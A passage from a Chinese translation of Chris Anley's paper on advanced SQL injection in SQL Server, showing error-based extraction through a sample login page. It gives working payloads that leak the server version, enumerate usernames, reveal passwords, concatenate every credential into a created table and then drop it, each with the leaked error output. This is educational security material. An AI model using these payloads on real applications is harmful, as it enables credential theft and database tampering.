SQL Server应用程序的高级Sql注入(4)
作者:Chris Anley luoluo 来源: * 八进制 发布时间:2009-04-11 16:54:00
一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的'username'将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息:
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of
data type int.
/process_login.asp, line 35
这试图将内置常量'@@version'转换成整型,因为'users'表第一列是整数。
这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从'users'表读用户名:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
这将选出比'a'大的最小用户名,而且试图将它转换成一个整数:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
攻击者就知道'admin'帐号存在,他现在可以把他发现的用户名放进'where'子句来反复测试这行:
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
一旦攻击者确定了用户名,他就可以搜集密码;
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
攻击者用这个'username'登陆(明显都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
这创建了一个只包含单列'ret'的表'foo',而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。
之后攻击者选择查询表里的字符串,就像前面说的:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后删除这个表:
Username: '; drop table foo--
这些例子仅仅揭开了这项技术的神秘面纱,不用说,如果攻击者可以从数据库获得丰富的错误信息,他们的工作将大大的简化。


猜你喜欢
- 学习前言已经完成了RNN网络的构建,但是我们对于RNN网络还有许多疑问,特别是tf.nn.dynamic_rnn函数,其具体的应用方式我们并
- 一、前言这篇文章主要是记录一下php生成静态页面的大致步骤,关于页面静态化,大家想必都听说过,但是真正用的时候反而不是很多。有些页面考虑到访
- bootstrap-confirmation按钮提示组件,它类似于js里面confirm的功能,界面更加美观。介绍这个组件之前,可以先来看看
- 背景最近在搭一个新项目的架子,在生产环境中,为了能实时的监控程序的运行状态,少不了逻辑执行时间长度的统计。时间统计这个功能实现的期望有下面几
- 下面通过对比来看看ASP中3种分页显示的性能,执行效率。一,使用存储过程分页,这种情况又分为两种方式:第一种,使用command对象,如下:
- <html><head><meta http-equiv="Content-T
- 现在对于python2版本,直接修改python.exe名字为python2.exe,命令python2 -m pip install --
- 本文实例为大家分享了tensorflow使用CNN分析mnist手写体数字数据集,供大家参考,具体内容如下import tensorflow
- 就服务器端处理而言,ASP是产生动态Web网页的一种相对较新的技术。动态页意味着什么呢?先暂时不考虑客户端相关功能上的进展,也不讨论客户端脚
- 目录函数什么是函数/方法2.为什么需要函数1、载体2、组织3、复用4、封装5、清晰6、按需3.如何声明/调用一个函数4.函数/方法的参数1、
- 前言:前面我们提到了Python数据类型中的内置数值类型与字符串类型。今天学习一下Python的序列数据类型,要知道的是在Python中没有
- 一、场景浏览器访问淘宝,再访问天猫,继续访问1688......此时,浏览器中的cookie是什么状态?显然,包含上述3个网站的所有cook
- 情况1: father.php如下定义: <?php $jack = 1000; ?> children.php 如下定义: &
- 这个技巧将教你如何用css做出漂亮的文本按钮,有活力的按钮将节省你很多制作图片的时间,也能让你一天的工作中成为一个快乐的人,让我们一起看看效
- vue 简介Vue.js(读音 /vjuː/, 类似于 view) 是一套构建用户界面的渐进式框架。Vue 只关注视图层, 采用自底向上增量
- 一丶为什么需要事务隔离级别mysql是一个客户端/服务端软件,对于同一个服务器来说,可以有多个客户端进行连接,每一个客户端进行连接之后就形成
- 在升级批处理sql脚本的时候,由于各种编写的不规范、不可重复执行,我们通常希望在sql脚本出错后不中止,而是执行完成。虽然这些问题可通过编写
- 如下所示:######### Extract all files from src_dir to des_dirdef extract_ta
- 本文实例为大家分享了vue仿写下拉菜单功能,带有过渡效果(移动端),供大家参考,具体内容如下效果图clickOutside.js 点击目标之
- 一.简单介绍: functools模块用于高阶函数:作用于或返回其他函数的函数。一般而言,任何可调用对象都可以作为本模块用途的函数